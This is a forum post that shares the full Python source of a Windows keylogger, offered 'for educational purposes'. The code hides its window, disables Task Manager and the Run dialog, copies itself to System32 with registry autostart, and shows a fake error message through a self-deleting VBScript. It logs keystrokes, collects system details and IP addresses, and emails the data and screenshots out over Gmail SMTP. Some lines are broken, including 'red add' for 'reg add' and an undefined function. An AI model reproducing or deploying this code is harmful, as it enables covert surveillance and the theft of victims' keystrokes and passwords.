




[Source] Python Keylogger
Thead Owner : azsryx,
Category : Technology and Devices,
2 Comment,
67 Read
Viewers:
1 Guest(s)
03-12-2014, 08:17 PM
I worked on this with a friend years ago.. I saw it laying around my old files. So I decided to put it up here.
All that needs to be changed is the e-mail and the password.
This is NOT 100% FUD. And a lot of the code can be optimized to newer/faster functions. Else you just need to convert it to a .exe file.
Haven't been tested for years.
Can be used for educational purposes.
All that needs to be changed is the e-mail and the password.
This is NOT 100% FUD. And a lot of the code can be optimized to newer/faster functions. Else you just need to convert it to a .exe file.
Haven't been tested for years.
Can be used for educational purposes.
Code:
# ---Import Needed Modules--- #
import win32api
import win32console
import win32gui
import pythoncom
import pyHook
import socket
import shutil
import os
import platform
import sys
from urllib import urlopen
import smtplib
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import ImageGrab
from time import strftime
import time
import threading
from threading import Thread
#----------------------------------------------------#
# ---Make Window Invisible--- #
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
#----------------------------------------------------#
# ---Protect the Keylogger--- #
def Self_Protection():
os.system("red add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /REG_DWORD /d 1 /f")
os.system("red add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")
os.system("red add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f")
os.system("red add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 2 /f")
os.system("attrib +a +s +h %windir%\regedit.exe")
os.system("attrib +a +s +h %windir%\system32\regedit32.exe")
#----------------------------------------------------#
# ---Variables Definitions--- #
VB_SCRIPT = """Set fso = createobject("scripting.filesystemobject")
MsgBox "File is corrupted. Windows can not open the file",16,"Error"
fso.deletefile wscript.scriptfullname """
global Sender, To, Date, Time, Date_Time, log_file
Sender = 'EMAIL YOU MADE FOR THE KEYLOGGER'
To = Sender
password = 'EMAIL PASSWORD GOES HERE'
Date = strftime("%a %d %b %Y")
Time = strftime("%H:%M:%S %p")
Date_Time = strftime("(%a %d %b %Y)(%H %M %S %p)")
log_file = 'Log_File @ ['+win32api.GetComputerName()+']@'+strftime("[(%a %d %b %Y)(%H %M %S %p)]")+'.txt'
#----------------------------------------------------#
# ---Make the Keylogger Run at Start Up--- #
if os.path.exists(win32api.GetSystemDirectory()+'\\keylogger.exe') == False:
shutil.move(os.getcwd()+'\\keylogger.exe', win32api.GetSystemDirectory()+'\\')
os.system('reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Keylogger /t REG_SZ /d %windir%\system32\keylogger.exe /f')
if os.getcwd != win32api.GetSystemDirectory():
vbs = open('c:\\vbs.vbs','w')
vbs.write(VB_SCRIPT)
vbs.close()
os.system("c:\\vbs.vbs")
exit()
#----------------------------------------------------#
# ---Create the Log File--- #
f = open(log_file,'w')
line = '===================================='
f.write(line+'\n >>> Logging Started @ '+ Time + ' @ ' + Date +'\n'+line +'\n\n' )
f.close()
#----------------------------------------------------#
def Grab_System_Info():
# ---Declarations--- #
Sys_Info_File = 'System_Info @ ['+win32api.GetComputerName()+']@'+strftime("[(%a %d %b %Y)(%H %M %S %p)]")+'.txt',
Get = ['External_IP: ' +urlopen('http//automation.whatismyip.com/n09230945.asp').read(),
'Internal_IP: ' +socket.gethostbyname(socket.gethostname()),
'Operating_System: '+platform.system() + ' ' + platform.release() + ' ' +sys.getwindowsversion()[4],
'Windows_Version:' + platform.version(),
'Bit_Architecture: '+str(platform.architecture()[0]),
'Domain_Name: '+win32api.GetDomainName(),
'Computer_Name: '+win32api.GetComputerName(),
'User_Name: '+win32api.GetUserName(),
'Processor_Name: '+platform.processor,
'Processor_Architecture: '+os.getenv('PROCESSOR_ARCHITECTURE'),
'Processors_Number: '+os.getenv('NUMBER_OF_PROCESSORS'),
'Windows_Directory: '+win32api.GetWindowsDirectory(),
'System_Directory: '+win32api.GetSystemDirectory()
]
# ---Define Functions to get MAC Address--- #
def Get_MAC():
for line in os.popen('ipconfig /all'):
if line.lstrip().startswith('Physical Address'):
mac = line.split(':')[1].strip().replace('-',':')
f.write('\n *- Mac Address: '+ mac)
# ---Define Function to Send Sys_Info_File--- #
def Send_File():
File_To_Send = open(Sys_Info_File, 'rb')
MSG = MIMEText(File_To_Send.read())
File_To_Send.close()
MSG['Subject'] = Sys_Info_File
MSG['From'] = Sender
MSG['To'] = To
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(Sender,password)
server.sendmail(Sender, [To], MSG.as_string())
server.quit()
# ---Create System Info File--- #
f =open(Sys_Info_File,'w')
f =open(Sys_Info_File,'a')
f.write(Date_Time+ '\n ----------------------------\n')
# ---Start Grabbing Info--- #
Get_MAC()
for i in Get:
f.write('\n *-'+i)
f.close()
Send_File()
# ---Delete the System Information File--- #
os.remove(Sys_Info_File)
#----------------------------------------------------#
# ---Screenshot--- #
def Grab_Screenshot():
# Take Screenshot
screenshot_name = 'Screenshot@['+win32api.GetComputerName()+']@['+strftime("(%a %d %b %Y)(%H %M %S %p)")+'].jpg'
screenshot = ImageGrab.grab().save(screenshot_name, 'JPEG')
# Connect to Server
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(Sender,password)
# Send The Screenshot
screenshot_data = open(screenshot_name, 'rb').read()
screenshot_msg = MIMEMultipart(_subtype='related')
screenshot_image = MIMEImage(screenshot_data, 'jpeg')
screenshot_msg.attach(screenshot_image)
screenshot_msg['Subject'] = screenshot_name
screenshot_msg['From'] = Sender
screenshot_msg['To'] = To
server.sendmail(Sender, [To], screenshot_msg.as_string())
os.remove(screenshot_name)
server.quit()
time.sleep(120)
#----------------------------------------------------#
def Key_Logger():
def Start_Logging(event):
f=open(log_file,'a')
f.write(event.Key)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = Start_Loggin
hm.HookKeyboard()
pythoncom.PumpMessages()
#----------------------------------------------------#
# ---Start Keylogging--- #
Thread(target = Grab_System_Info).start()
Thread(target = Key_Logger).start()
Thread(target = Grab_Screenshot).start()
Thread(target = Send_Log_File).start()
Thread(target = Self_Protection).start()
#----------------------------------------------------#
Guest
Unregistered
4 Years of Service